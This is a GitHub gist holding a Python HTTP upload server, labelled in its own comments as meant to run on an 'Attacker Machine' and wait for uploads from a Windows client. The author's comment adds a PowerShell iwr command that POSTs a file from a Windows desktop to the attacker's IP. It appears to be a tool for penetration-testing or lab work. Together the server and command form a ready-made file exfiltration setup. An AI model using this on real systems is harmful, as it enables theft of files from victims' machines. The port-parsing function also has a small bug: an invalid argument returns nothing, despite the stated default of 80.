Skip to content

Instantly share code, notes, and snippets.

@VictorNS69
Created January 9, 2026 21:44
Show Gist options
  • Select an option

  • Save VictorNS69/eac3d29c18e8f1590b88b1092f505933 to your computer and use it in GitHub Desktop.

Select an option

Save VictorNS69/eac3d29c18e8f1590b88b1092f505933 to your computer and use it in GitHub Desktop.
Simple HTTP Post Server in Python
#!/usr/bin/env python3
# Simple HTTP Server with Upload in Python3, to be run on Attacker Machine:
import http.server
import socketserver
import os
import sys
from datetime import datetime
class MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
# Get the filename from the path (use the requested URL or a default)
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
filename = os.path.basename(self.path) or f'{timestamp}_upload'
# Write the data to a file
with open(filename, 'wb') as f:
f.write(post_data)
# Send a response back to the client
self.send_response(200)
self.end_headers()
self.wfile.write(b'File uploaded successfully!')
print(f"\n[+] File received and saved as: {filename}")
def get_port():
"""Get port from command line arguments or user input, default to 80"""
# Check command line arguments
if len(sys.argv) > 1:
try:
port = int(sys.argv[1])
if 1 <= port <= 65535:
return port
else:
print(f"[-] Port {port} is out of range (1-65535). Using default port 80.")
except ValueError:
print(f"[-] Invalid port number: {sys.argv[1]}. Using default port 80.")
else:
# If no valid argument, port 80
return 80
# Get port from user/arguments
PORT = get_port()
Handler = MyHttpRequestHandler
try:
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print(f"[+] Server started on port {PORT}")
print(f"[+] Server accessible at: http://0.0.0.0:{PORT}")
print("[+] Waiting for file upload from Windows client...")
print("[+] Press Ctrl+C to stop the server")
httpd.serve_forever()
except PermissionError:
print(f"[-] Error: Permission denied to bind to port {PORT}")
print("[-] Try running with sudo or choose a port > 1024")
sys.exit(1)
except OSError as e:
if "Address already in use" in str(e):
print(f"[-] Error: Port {PORT} is already in use")
print("[-] Try a different port or kill the process using it")
else:
print(f"[-] Error: {e}")
sys.exit(1)
except KeyboardInterrupt:
print("\n[+] Server stopped by user")
sys.exit(0)
@VictorNS69
Copy link
Author

In windows, you can use powershell to upload files to the server

iwr -Uri http://10.10.40.122:80/file.txt -Method POST -InFile C:\users\Public\Desktop\file.txt

If no path (/file.txt) provided, the uploaded file will be named {timestamp}_upload.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment